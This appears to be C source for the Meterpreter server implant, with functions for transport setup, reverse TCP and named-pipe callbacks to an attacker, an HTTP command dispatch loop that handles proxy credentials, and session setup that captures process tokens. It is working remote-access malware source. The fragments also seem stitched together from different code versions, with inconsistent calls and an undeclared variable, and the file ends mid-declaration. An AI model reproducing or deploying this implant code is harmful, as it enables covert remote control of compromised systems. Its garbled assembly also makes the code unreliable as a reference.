/*! * @brief Update the timeouts with the given values * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the request packet. * @returns Indication of success or failure. * @remark If no values are given, no updates are made. The response to * this message is the new/current settings. */ DWORD remote_request_core_transport_set_timeouts(Remote * remote, Packet * packet) { DWORD result = ERROR_SUCCESS; Packet* response = NULL; do { response = packet_create_response(packet); if (!response) { result = ERROR_NOT_ENOUGH_MEMORY; break; } int expirationTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP); int commsTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); DWORD retryTotal = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL); DWORD retryWait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT); // TODO: put this in a helper function that can be used everywhere? // if it's in the past, that's fine, but 0 implies not set if (expirationTimeout != 0) { dprintf("[DISPATCH TIMEOUT] setting expiration time to %d", expirationTimeout); remote->sess_expiry_time = expirationTimeout; remote->sess_expiry_end = current_unix_timestamp() + expirationTimeout; } if (commsTimeout != 0) { dprintf("[DISPATCH TIMEOUT] setting comms timeout to %d", commsTimeout); remote->transport->timeouts.comms = commsTimeout; remote->transport->comms_last_packet = current_unix_timestamp(); } if (retryTotal > 0) { dprintf("[DISPATCH TIMEOUT] setting retry total to %u", retryTotal); remote->transport->timeouts.retry_total = retryTotal; } if (retryWait > 0) { dprintf("[DISPATCH TIMEOUT] setting retry wait to %u", retryWait); remote->transport->timeouts.retry_wait = retryWait; } // for the session expiry, return how many seconds are left before the session actually expires packet_add_tlv_uint(response, TLV_TYPE_TRANS_SESSION_EXP, remote->sess_expiry_end - current_unix_timestamp()); packet_add_tlv_uint(response, TLV_TYPE_TRANS_COMM_TIMEOUT, remote->transport->timeouts.comms); packet_add_tlv_uint(response, TLV_TYPE_TRANS_RETRY_TOTAL, remote->transport->timeouts.retry_total); packet_add_tlv_uint(response, TLV_TYPE_TRANS_RETRY_WAIT, remote->transport->timeouts.retry_wait); } while (0); if (response) { packet_transmit_response(result, remote, response); } return result; }
/*! * @brief Connects to a provided host/port (IPv6), downloads a payload and executes it. * @param host String containing the name or IP of the host to connect to. * @param service The target service/port. * @param scopeId IPv6 scope ID. * @param retryTotal The number of seconds to continually retry for. * @param retryWait The number of seconds between each connect attempt. * @return Indication of success or failure. */ static DWORD reverse_tcp6(const char* host, const char* service, ULONG scopeId, DWORD retryTotal, DWORD retryWait, SOCKET* socketBuffer) { int start; DWORD result = ERROR_SUCCESS; SOCKET socketHandle; struct addrinfo hints = { 0 }; *socketBuffer = 0; hints.ai_family = AF_INET6; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; struct addrinfo* addresses; if (getaddrinfo(host, service, &hints, &addresses) != 0) { return errno; } // prepare to connect to the attacker socketHandle = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); if (socketHandle == INVALID_SOCKET) { dprintf("[STAGELESS IPV6] failed to connect to attacker"); return errno; } start = current_unix_timestamp(); do { struct addrinfo* address = NULL; int retryStart = current_unix_timestamp(); for (address = addresses; address != NULL; address = address->ai_next) { ((struct sockaddr_in6*)address->ai_addr)->sin6_scope_id = scopeId; if (connect(socketHandle, address->ai_addr, (int)address->ai_addrlen) != SOCKET_ERROR) { dprintf("[STAGELESS IPV6] Socket successfully connected"); *socketBuffer = socketHandle; freeaddrinfo(addresses); return ERROR_SUCCESS; } } dprintf("[TCP RUN] Connection failed, sleeping for %u s", retryWait); sleep(retryWait); } while (((DWORD)current_unix_timestamp() - (DWORD)start) < retryTotal); closesocket(socketHandle); freeaddrinfo(addresses); return errno; }
/*! * @brief Configure bind named pipe connnection. * @param pipe_name to create * @param timeouts * @return handle to connected pipe or INVALID_HANDLE_VALUE on error */ static HANDLE bind_named_pipe(wchar_t *pipe_name, TimeoutSettings *timeouts) { DWORD result = ERROR_SUCCESS; BOOL wasEnabled; HANDLE hPipe = INVALID_HANDLE_VALUE; DWORD toggleResult = toggle_privilege(SE_SECURITY_NAME, TRUE, &wasEnabled); if (toggleResult == ERROR_SUCCESS) { SECURITY_ATTRIBUTES sa = { 0 }; create_pipe_security_attributes(&sa); // allow access anyone hPipe = CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, STUPID_PIPE_BUFFER_LIMIT, STUPID_PIPE_BUFFER_LIMIT, 0, &sa); result = GetLastError(); if (wasEnabled == FALSE) { toggle_privilege(SE_SECURITY_NAME, FALSE, &wasEnabled); } } if (hPipe == INVALID_HANDLE_VALUE) { // Fallback on a pipe with simpler security attributes hPipe = CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, STUPID_PIPE_BUFFER_LIMIT, STUPID_PIPE_BUFFER_LIMIT, 0, NULL); result = GetLastError(); } if (hPipe == INVALID_HANDLE_VALUE) { dprintf("[NP CONFIGURE] failed to create pipe: %u 0x%x", result, result); return INVALID_HANDLE_VALUE; } int start = current_unix_timestamp(); do { if (ConnectNamedPipe(hPipe, NULL)) { return hPipe; } result = GetLastError(); if (result == ERROR_PIPE_CONNECTED) { return hPipe; } dprintf("[NP CONFIGURE] Failed to connect pipe: %u 0x%x", result, result); dprintf("[NP CONFIGURE] Trying again in %u s", 1); sleep(1); } while (((DWORD)current_unix_timestamp() - (DWORD)start) < timeouts->retry_total); CloseHandle(hPipe); return INVALID_HANDLE_VALUE; }
/*! * @brief Creates a new TCP transport instance. * @param url URL containing the transport details. * @param timeouts The timeout values to use for this transport. * @return Pointer to the newly configured/created TCP transport instance. */ static Transport* transport_create_tcp(MetsrvTransportTcp* config) { Transport* transport = (Transport*)malloc(sizeof(Transport)); TcpTransportContext* ctx = (TcpTransportContext*)malloc(sizeof(TcpTransportContext)); dprintf("[TRANS TCP] Creating tcp transport for url %s", config->common.url); memset(transport, 0, sizeof(Transport)); memset(ctx, 0, sizeof(TcpTransportContext)); transport->type = METERPRETER_TRANSPORT_SSL; transport->timeouts.comms = config->common.comms_timeout; transport->timeouts.retry_total = config->common.retry_total; transport->timeouts.retry_wait = config->common.retry_wait; transport->url = strdup(config->common.url); transport->packet_transmit = packet_transmit_via_ssl; transport->transport_init = configure_tcp_connection; transport->transport_deinit = server_destroy_ssl; transport->transport_destroy = transport_destroy_tcp; transport->transport_reset = transport_reset_tcp; transport->server_dispatch = server_dispatch_tcp; transport->get_socket = transport_get_socket_tcp; transport->ctx = ctx; transport->comms_last_packet = current_unix_timestamp(); return transport; }
/*! * @brief Creates a new named pipe transport instance. * @param config The Named Pipe configuration block. * @param size Pointer to the size of the parsed config block. * @return Pointer to the newly configured/created Named Pipe transport instance. */ Transport* transport_create_named_pipe(MetsrvTransportNamedPipe* config, LPDWORD size) { Transport* transport = (Transport*)calloc(1, sizeof(Transport)); NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)calloc(1, sizeof(NamedPipeTransportContext)); if (size) { *size = sizeof(MetsrvTransportNamedPipe); } // Lock used to synchronise writes ctx->write_lock = lock_create(); dprintf("[TRANS NP] Creating pipe transport for url %S", config->common.url); transport->type = METERPRETER_TRANSPORT_PIPE; transport->timeouts.comms = config->common.comms_timeout; transport->timeouts.retry_total = config->common.retry_total; transport->timeouts.retry_wait = config->common.retry_wait; transport->url = _wcsdup(config->common.url); transport->packet_transmit = packet_transmit_named_pipe; transport->transport_init = configure_named_pipe_connection; transport->transport_destroy = transport_destroy_named_pipe; transport->transport_reset = transport_reset_named_pipe; transport->server_dispatch = server_dispatch_named_pipe; transport->get_handle = transport_get_handle_named_pipe; transport->set_handle = transport_set_handle_named_pipe; transport->ctx = ctx; transport->comms_last_packet = current_unix_timestamp(); transport->get_migrate_context = get_migrate_context_named_pipe; transport->get_config_size = transport_get_config_size_named_pipe; return transport; }
static void config_create(Remote* remote, MetsrvConfig** config, LPDWORD size) { // This function is really only used for migration purposes. DWORD s = sizeof(MetsrvSession); MetsrvSession* sess = (MetsrvSession*)malloc(s); memset(sess, 0, s); dprintf("[CONFIG] preparing the configuration"); // start by preparing the session. memcpy(sess->uuid, remote->orig_config->session.uuid, UUID_SIZE); sess->expiry = remote->sess_expiry_end - current_unix_timestamp(); // TOOD: figure what we should be doing for POSIX here. sess->exit_func = 0; Transport* current = remote->transport; Transport* t = remote->transport; do { // extend memory appropriately DWORD neededSize = t->type == METERPRETER_TRANSPORT_SSL ? sizeof(MetsrvTransportTcp) : sizeof(MetsrvTransportHttp); dprintf("[CONFIG] Allocating %u bytes for %s transport, total of %u bytes", neededSize, t->type == METERPRETER_TRANSPORT_SSL ? "ssl" : "http/s", s); sess = (MetsrvSession*)realloc(sess, s + neededSize); // load up the transport specifics LPBYTE target = (LPBYTE)sess + s; memset(target, 0, neededSize); s += neededSize; if (t->type == METERPRETER_TRANSPORT_SSL) { transport_write_tcp_config(t, (MetsrvTransportTcp*)target); dprintf("[CONFIG] TCP Comms Timeout: %d", ((MetsrvTransportTcp*)target)->common.comms_timeout); dprintf("[CONFIG] TCP Retry Total: %d", ((MetsrvTransportTcp*)target)->common.retry_total); dprintf("[CONFIG] TCP Retry Wait: %d", ((MetsrvTransportTcp*)target)->common.retry_wait); dprintf("[CONFIG] TCP URL: %s", ((MetsrvTransportTcp*)target)->common.url); // if the current transport is TCP, copy the socket fd over so that migration can use it. if (t == current) { sess->comms_fd = (DWORD)t->get_socket(t); } } t = t->next_transport; } while (t != current); // account for the last terminating NULL wchar so that the target knows the list has reached the end, // as well as the end of the extensions list. We may support wiring up existing extensions later on. DWORD terminatorSize = sizeof(wchar_t) + sizeof(DWORD); sess = (MetsrvSession*)realloc(sess, s + terminatorSize); memset((LPBYTE)sess + s, 0, terminatorSize); s += terminatorSize; // hand off the data dprintf("[CONFIG] Total of %u bytes located at 0x%p", s, sess); *size = s; *config = (MetsrvConfig*)sess; }
DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBufer) { DWORD result = ERROR_NOT_ENOUGH_MEMORY; Transport* transport = NULL; char* transportUrl = packet_get_tlv_value_string(packet, TLV_TYPE_TRANS_URL); TimeoutSettings timeouts = { 0 }; int sessionExpiry = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP); timeouts.comms = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); timeouts.retry_total = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL); timeouts.retry_wait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT); // special case, will still leave this in here even if it's not transport related if (sessionExpiry != 0) { remote->sess_expiry_time = sessionExpiry; remote->sess_expiry_end = current_unix_timestamp() + remote->sess_expiry_time; } if (timeouts.comms == 0) { timeouts.comms = remote->transport->timeouts.comms; } if (timeouts.retry_total == 0) { timeouts.retry_total = remote->transport->timeouts.retry_total; } if (timeouts.retry_wait == 0) { timeouts.retry_wait = remote->transport->timeouts.retry_wait; } dprintf("[CHANGE TRANS] Url: %s", transportUrl); dprintf("[CHANGE TRANS] Comms: %d", timeouts.comms); dprintf("[CHANGE TRANS] Retry Total: %u", timeouts.retry_total); dprintf("[CHANGE TRANS] Retry Wait: %u", timeouts.retry_wait); do { if (transportUrl == NULL) { dprintf("[CHANGE TRANS] Something was NULL"); break; } if (strncmp(transportUrl, "tcp", 3) == 0) { MetsrvTransportTcp config = { 0 }; config.common.comms_timeout = timeouts.comms; config.common.retry_total = timeouts.retry_total; config.common.retry_wait = timeouts.retry_wait; memcpy(config.common.url, transportUrl, sizeof(config.common.url)); transport = remote->trans_create(remote, &config.common, NULL); } // tell the server dispatch to exit, it should pick up the new transport result = ERROR_SUCCESS; } while (0); *transportBufer = transport; return result; }
/*! * @brief Perform the reverse_tcp connect. * @param reverseSocket The existing socket that refers to the remote host connection, closed on failure. * @param sockAddr The SOCKADDR structure which contains details of the connection. * @param sockAddrSize The size of the \c sockAddr structure. * @param retryTotal The number of seconds to continually retry for. * @param retryWait The number of seconds between each connect attempt. * @return Indication of success or failure. */ static DWORD reverse_tcp_run(SOCKET reverseSocket, struct sockaddr* sockAddr, int sockAddrSize, DWORD retryTotal, DWORD retryWait) { DWORD result = ERROR_SUCCESS; int start = current_unix_timestamp(); do { int retryStart = current_unix_timestamp(); if ((result = connect(reverseSocket, sockAddr, sockAddrSize)) != SOCKET_ERROR) { break; } dprintf("[TCP RUN] Connection failed, sleeping for %u s", retryWait); sleep(retryWait * 1000); } while (((DWORD)current_unix_timestamp() - (DWORD)start) < retryTotal); if (result == SOCKET_ERROR) { closesocket(reverseSocket); } return result; }
/*! * @brief Configure reverse named pipe connnection. * @param pipe_name to connect to * @param timeouts * @return handle to connected pipe or INVALID_HANDLE_VALUE on error */ static HANDLE reverse_named_pipe(wchar_t *pipe_name, TimeoutSettings *timeouts) { DWORD result = ERROR_SUCCESS; HANDLE hPipe = INVALID_HANDLE_VALUE; int start = current_unix_timestamp(); do { dprintf("[NP CONFIGURE] pipe name is %S, attempting to create", pipe_name); hPipe = CreateFileW(pipe_name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hPipe != INVALID_HANDLE_VALUE) { break; } hPipe = INVALID_HANDLE_VALUE; result = GetLastError(); dprintf("[NP CONFIGURE] failed to create pipe: %u 0x%x", result, result); dprintf("[NP CONFIGURE] Connection failed, sleeping for %u s", timeouts->retry_wait); sleep(timeouts->retry_wait); } while (((DWORD)current_unix_timestamp() - (DWORD)start) < timeouts->retry_total); return hPipe; }
DWORD remote_request_core_transport_list(Remote* remote, Packet* packet) { DWORD result = ERROR_SUCCESS; Packet* response = NULL; do { response = packet_create_response(packet); if (!response) { result = ERROR_NOT_ENOUGH_MEMORY; break; } // Add the session timeout to the top level packet_add_tlv_uint(response, TLV_TYPE_TRANS_SESSION_EXP, remote->sess_expiry_end - current_unix_timestamp()); Transport* current = remote->transport; Transport* first = remote->transport; do { Packet* transportGroup = packet_create_group(); if (!transportGroup) { // bomb out, returning what we have so far. break; } dprintf("[DISPATCH] Adding URL %S", current->url); packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_URL, current->url); dprintf("[DISPATCH] Adding Comms timeout %u", current->timeouts.comms); packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_COMM_TIMEOUT, current->timeouts.comms); dprintf("[DISPATCH] Adding Retry total %u", current->timeouts.retry_total); packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_TOTAL, current->timeouts.retry_total); dprintf("[DISPATCH] Adding Retry wait %u", current->timeouts.retry_wait); packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_WAIT, current->timeouts.retry_wait); if (current->type != METERPRETER_TRANSPORT_SSL) { HttpTransportContext* ctx = (HttpTransportContext*)current->ctx; dprintf("[DISPATCH] Transport is HTTP/S"); if (ctx->ua) { packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_UA, ctx->ua); } if (ctx->proxy) { packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_HOST, ctx->proxy); } if (ctx->proxy_user) { packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_USER, ctx->proxy_user); } if (ctx->proxy_pass) { packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_PASS, ctx->proxy_pass); } if (ctx->cert_hash) { packet_add_tlv_raw(transportGroup, TLV_TYPE_TRANS_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE); } } packet_add_group(response, TLV_TYPE_TRANS_GROUP, transportGroup); current = current->next_transport; } while (first != current); } while (0); if (response) { packet_transmit_response(result, remote, response); } return result; }
/*! * @brief The servers main NP DISPATCH loop for incoming requests using SSL over named pipes. * @param remote Pointer to the remote endpoint for this server connection. * @param dispatchThread Pointer to the main NP DISPATCH thread. * @returns Indication of success or failure. */ static DWORD server_dispatch_named_pipe(Remote* remote, THREAD* dispatchThread) { Transport* transport = remote->transport; BOOL running = TRUE; LONG result = ERROR_SUCCESS; Packet * packet = NULL; THREAD * cpt = NULL; dprintf("[NP DISPATCH] entering server_dispatch( 0x%08X )", remote); int lastPacket = current_unix_timestamp(); while (running) { if (event_poll(dispatchThread->sigterm, 0)) { dprintf("[NP DISPATCH] server dispatch thread signaled to terminate..."); break; } result = server_pipe_poll(remote, 500); if (result == ERROR_SUCCESS) { result = packet_receive_named_pipe(remote, &packet); if (result != ERROR_SUCCESS) { dprintf("[NP DISPATCH] packet_receive returned %d, exiting dispatcher...", result); break; } if (packet) { running = command_handle(remote, packet); dprintf("[NP DISPATCH] command_process result: %s", (running ? "continue" : "stop")); } else { dprintf("[NP DISPATCH] Received NULL packet, could be metsrv being ignored"); } // packet received, reset the timer lastPacket = current_unix_timestamp(); } else if (result != ERROR_BROKEN_PIPE) { // check if the communication has timed out, or the session has expired, so we should terminate the session int now = current_unix_timestamp(); if (now > remote->sess_expiry_end) { result = ERROR_SUCCESS; dprintf("[NP DISPATCH] session has ended"); break; } else if ((now - lastPacket) > transport->timeouts.comms) { result = ERROR_NETWORK_NOT_AVAILABLE; dprintf("[NP DISPATCH] communications has timed out"); break; } } else { dprintf("[NP DISPATCH] server_pipe_poll returned %d, exiting dispatcher...", result); break; } } dprintf("[NP DISPATCH] leaving server_dispatch."); return result; }
/* * The servers main dispatch loop for incoming requests using SSL over TCP */ static DWORD server_dispatch_http_wininet( Remote * remote ) { LONG result = ERROR_SUCCESS; Packet * packet = NULL; THREAD * cpt = NULL; URL_COMPONENTS bits; DWORD ecount = 0; DWORD delay = 0; char tmpHostName[512]; char tmpUrlPath[1024]; if (global_expiration_timeout > 0) remote->expiration_time = current_unix_timestamp() + global_expiration_timeout; else remote->expiration_time = 0; remote->comm_timeout = global_comm_timeout; remote->start_time = current_unix_timestamp(); remote->comm_last_packet = current_unix_timestamp(); // Allocate the top-level handle if (!strcmp(global_meterpreter_proxy,"METERPRETER_PROXY")) { remote->hInternet = InternetOpen(global_meterpreter_ua, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); } else { remote->hInternet = InternetOpen(global_meterpreter_ua, INTERNET_OPEN_TYPE_PROXY, global_meterpreter_proxy, NULL, 0); } if (!remote->hInternet) { dprintf("[DISPATCH] Failed InternetOpen: %d", GetLastError()); return 0; } dprintf("[DISPATCH] Configured hInternet: 0x%.8x", remote->hInternet); // The InternetCrackUrl method was poorly designed... memset(tmpHostName, 0, sizeof(tmpHostName)); memset(tmpUrlPath, 0, sizeof(tmpUrlPath)); memset(&bits, 0, sizeof(bits)); bits.dwStructSize = sizeof(bits); bits.dwHostNameLength = sizeof(tmpHostName) -1; bits.lpszHostName = tmpHostName; bits.dwUrlPathLength = sizeof(tmpUrlPath) -1; bits.lpszUrlPath = tmpUrlPath; InternetCrackUrl(remote->url, 0, 0, &bits); remote->uri = _strdup(tmpUrlPath); dprintf("[DISPATCH] Configured URL: %s", remote->uri); dprintf("[DISPATCH] Host: %s Port: %u", tmpHostName, bits.nPort); // Allocate the connection handle remote->hConnection = InternetConnect(remote->hInternet, tmpHostName, bits.nPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); if (!remote->hConnection) { dprintf("[DISPATCH] Failed InternetConnect: %d", GetLastError()); return 0; } dprintf("[DISPATCH] Configured hConnection: 0x%.8x", remote->hConnection); //authentication if (!(strcmp(global_meterpreter_proxy_username, "METERPRETER_USERNAME_PROXY") == 0)) { InternetSetOption(remote->hConnection, INTERNET_OPTION_PROXY_USERNAME, global_meterpreter_proxy_username, (DWORD)strlen(global_meterpreter_proxy_username)+1); InternetSetOption(remote->hConnection, INTERNET_OPTION_PROXY_PASSWORD, global_meterpreter_proxy_password, (DWORD)strlen(global_meterpreter_proxy_password)+1); dprintf("[DISPATCH] Proxy authentication configured : %s/%s", global_meterpreter_proxy_username, global_meterpreter_proxy_password); } // Bring up the scheduler subsystem. result = scheduler_initialize( remote ); if( result != ERROR_SUCCESS ) return result; while( TRUE ) { if (remote->comm_timeout != 0 && remote->comm_last_packet + remote->comm_timeout < current_unix_timestamp()) { dprintf("[DISPATCH] Shutting down server due to communication timeout"); break; } if (remote->expiration_time != 0 && remote->expiration_time < current_unix_timestamp()) { dprintf("[DISPATCH] Shutting down server due to hardcoded expiration time"); dprintf("Timestamp: %u Expiration: %u", current_unix_timestamp(), remote->expiration_time); break; } if( event_poll( serverThread->sigterm, 0 ) ) { dprintf( "[DISPATCH] server dispatch thread signaled to terminate..." ); break; } dprintf("[DISPATCH] Reading data from the remote side..."); result = packet_receive( remote, &packet ); if( result != ERROR_SUCCESS ) { // Update the timestamp for empty replies if (result == ERROR_EMPTY) remote->comm_last_packet = current_unix_timestamp(); if (ecount < 10) delay = 10 * ecount; else delay = 100 * ecount; ecount++; dprintf("[DISPATCH] no pending packets, sleeping for %dms...", min(10000, delay)); Sleep( min(10000, delay) ); continue; } remote->comm_last_packet = current_unix_timestamp(); // Reset the empty count when we receive a packet ecount = 0; dprintf("[DISPATCH] Returned result: %d", result); cpt = thread_create( command_process_thread, remote, packet ); if( cpt ) { dprintf( "[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle ); thread_run( cpt ); } } // Close WinInet handles InternetCloseHandle(remote->hConnection); InternetCloseHandle(remote->hInternet); dprintf( "[DISPATCH] calling scheduler_destroy..." ); scheduler_destroy(); dprintf( "[DISPATCH] calling command_join_threads..." ); command_join_threads(); dprintf( "[DISPATCH] leaving server_dispatch." ); return result; }
/*! * @brief Setup and run the server. This is called from Init via the loader. * @param fd The original socket descriptor passed in from the stager, or a pointer to stageless extensions. * @return Meterpreter exit code (ignored by the caller). */ DWORD server_setup(MetsrvConfig* config) { THREAD* serverThread = NULL; Remote* remote = NULL; char stationName[256] = { 0 }; char desktopName[256] = { 0 }; DWORD res = 0; dprintf("[SERVER] Initializing from configuration: 0x%p", config); dprintf("[SESSION] Comms Fd: %u", config->session.comms_fd); dprintf("[SESSION] Expiry: %u", config->session.expiry); dprintf("[SERVER] UUID: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", config->session.uuid[0], config->session.uuid[1], config->session.uuid[2], config->session.uuid[3], config->session.uuid[4], config->session.uuid[5], config->session.uuid[6], config->session.uuid[7], config->session.uuid[8], config->session.uuid[9], config->session.uuid[10], config->session.uuid[11], config->session.uuid[12], config->session.uuid[13], config->session.uuid[14], config->session.uuid[15]); // if hAppInstance is still == NULL it means that we havent been // reflectivly loaded so we must patch in the hAppInstance value // for use with loading server extensions later. InitAppInstance(); srand((unsigned int)time(NULL)); __try { do { dprintf("[SERVER] module loaded at 0x%08X", hAppInstance); // Open a THREAD item for the servers main thread, we use this to manage migration later. serverThread = thread_open(); dprintf("[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread->handle, serverThread->id, serverThread->sigterm); if (!(remote = remote_allocate())) { SetLastError(ERROR_NOT_ENOUGH_MEMORY); break; } setup_ssl_lib(&remote->ssl); remote->orig_config = config; remote->sess_expiry_time = config->session.expiry; remote->sess_start_time = current_unix_timestamp(); remote->sess_expiry_end = remote->sess_start_time + config->session.expiry; dprintf("[DISPATCH] Session going for %u seconds from %u to %u", remote->sess_expiry_time, remote->sess_start_time, remote->sess_expiry_end); DWORD transportSize = 0; if (!create_transports(remote, config->transports, &transportSize)) { // not good, bail out! SetLastError(ERROR_BAD_ARGUMENTS); break; } // the first transport should match the transport that we initially connected on. // If it's TCP comms, we need to wire that up. if (remote->transport->type == METERPRETER_TRANSPORT_SSL && config->session.comms_fd) { ((TcpTransportContext*)remote->transport->ctx)->fd = (SOCKET)config->session.comms_fd; } // Set up the transport creation function pointer remote->trans_create = create_transport; // Set up the transport removal function pointer remote->trans_remove = remove_transport; // and the config creation pointer remote->config_create = config_create; // Store our thread handle remote->server_thread = serverThread->handle; dprintf("[SERVER] Registering dispatch routines..."); register_dispatch_routines(); // this has to be done after dispatch routine are registered load_stageless_extensions(remote, (MetsrvExtension*)((LPBYTE)config->transports + transportSize)); // Store our process token if (!OpenThreadToken(remote->server_thread, TOKEN_ALL_ACCESS, TRUE, &remote->server_token)) { OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &remote->server_token); } if (scheduler_initialize(remote) != ERROR_SUCCESS) { SetLastError(ERROR_BAD_ENVIRONMENT); break; } // Copy it to the thread token remote->thread_token = remote->server_token; // Save the initial session/station/desktop names... remote->orig_sess_id = server_sessionid(); remote->curr_sess_id = remote->orig_sess_id; GetUserObjectInformation(GetProcessWindowStation(), UOI_NAME, &stationName, 256, NULL); remote->orig_station_name = _strdup(stationName); remote->curr_station_name = _strdup(stationName); GetUserObjectInformation(GetThreadDesktop(GetCurrentThreadId()), UOI_NAME, &desktopName, 256, NULL); remote->orig_desktop_name = _strdup(desktopName); remote->curr_desktop_name = _strdup(desktopName); remote->sess_start_time = current_unix_timestamp(); // loop through the transports, reconnecting each time. while (remote->transport) { if (remote->transport->transport_init) { dprintf("[SERVER] attempting to initialise transport 0x%p", remote->transport); // Each transport has its own set of retry settings and each should honour // them individually. if (!remote->transport->transport_init(remote->transport)) { dprintf("[SERVER] transport initialisation failed, moving to the next transport"); remote->transport = remote->transport->next_transport; // when we have a list of transports, we'll iterate to the next one. continue; } } dprintf("[SERVER] Entering the main server dispatch loop for transport %x, context %x", remote->transport, remote->transport->ctx); DWORD dispatchResult = remote->transport->server_dispatch(remote, serverThread); dprintf("[DISPATCH] dispatch exited with result: %u", dispatchResult); if (remote->transport->transport_deinit) { dprintf("[DISPATCH] deinitialising transport"); remote->transport->transport_deinit(remote->transport); } dprintf("[TRANS] resetting transport"); if (remote->transport->transport_reset) { remote->transport->transport_reset(remote->transport, dispatchResult == ERROR_SUCCESS && remote->next_transport == NULL); } // If the transport mechanism failed, then we should loop until we're able to connect back again. if (dispatchResult == ERROR_SUCCESS) { dprintf("[DISPATCH] Server requested shutdown of dispatch"); // But if it was successful, and this is a valid exit, then we should clean up and leave. if (remote->next_transport == NULL) { dprintf("[DISPATCH] No next transport specified, leaving"); // we weren't asked to switch transports, so we exit. break; } // we need to change transports to the one we've been given. We will assume, for now, // that the transport has been created using the appropriate functions and that it is // part of the transport list. dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->next_transport); remote->transport = remote->next_transport; remote->next_transport = NULL; } else { // move to the next one in the list dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->transport->next_transport); remote->transport = remote->transport->next_transport; } // transport switching and failover both need to support the waiting functionality. if (remote->next_transport_wait > 0) { dprintf("[TRANS] Sleeping for %u seconds ...", remote->next_transport_wait); sleep(remote->next_transport_wait); // the wait is a once-off thing, needs to be reset each time remote->next_transport_wait = 0; } } // clean up the transports while (remote->transport) { remove_transport(remote, remote->transport); } dprintf("[SERVER] Deregistering dispatch routines..."); deregister_dispatch_routines(remote); } while (0); dprintf("[DISPATCH] calling scheduler_destroy..."); scheduler_destroy(); dprintf("[DISPATCH] calling command_join_threads..."); command_join_threads(); remote_deallocate(remote); } __except (exceptionfilter(GetExceptionCode(), GetExceptionInformation())) { dprintf("[SERVER] *** exception triggered!"); thread_kill(serverThread); } dprintf("[SERVER] Finished."); return res; }
/*! * @brief Create an HTTP(S) transport from the given settings. * @param config Pointer to the HTTP configuration block. * @param size Pointer to the size of the parsed config block. * @param config Pointer to the HTTP configuration block. * @return Pointer to the newly configured/created HTTP(S) transport instance. */ Transport* transport_create_http(MetsrvTransportHttp* config, LPDWORD size) { Transport* transport = (Transport*)malloc(sizeof(Transport)); HttpTransportContext* ctx = (HttpTransportContext*)malloc(sizeof(HttpTransportContext)); if (size) { *size = sizeof(MetsrvTransportHttp); } dprintf("[TRANS HTTP] Creating http transport for url %S", config->common.url); memset(transport, 0, sizeof(Transport)); memset(ctx, 0, sizeof(HttpTransportContext)); dprintf("[TRANS HTTP] Given ua: %S", config->ua); if (config->ua[0]) { ctx->ua = _wcsdup(config->ua); } dprintf("[TRANS HTTP] Given proxy host: %S", config->proxy.hostname); if (config->proxy.hostname[0]) { ctx->proxy = _wcsdup(config->proxy.hostname); } dprintf("[TRANS HTTP] Given proxy user: %S", config->proxy.username); if (config->proxy.username[0]) { ctx->proxy_user = _wcsdup(config->proxy.username); } dprintf("[TRANS HTTP] Given proxy pass: %S", config->proxy.password); if (config->proxy.password[0]) { ctx->proxy_pass = _wcsdup(config->proxy.password); } ctx->ssl = wcsncmp(config->common.url, L"https", 5) == 0; if (config->custom_headers[0]) { ctx->custom_headers = _wcsdup(config->custom_headers); if (size) { *size += (DWORD)wcslen(ctx->custom_headers) * sizeof(ctx->custom_headers[0]); } } dprintf("[SERVER] Received HTTPS Hash: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", config->ssl_cert_hash[0], config->ssl_cert_hash[1], config->ssl_cert_hash[2], config->ssl_cert_hash[3], config->ssl_cert_hash[4], config->ssl_cert_hash[5], config->ssl_cert_hash[6], config->ssl_cert_hash[7], config->ssl_cert_hash[8], config->ssl_cert_hash[9], config->ssl_cert_hash[10], config->ssl_cert_hash[11], config->ssl_cert_hash[12], config->ssl_cert_hash[13], config->ssl_cert_hash[14], config->ssl_cert_hash[15], config->ssl_cert_hash[16], config->ssl_cert_hash[17], config->ssl_cert_hash[18], config->ssl_cert_hash[19]); // only apply the cert hash if we're given one and it's not the global value SAFE_FREE(ctx->cert_hash); unsigned char 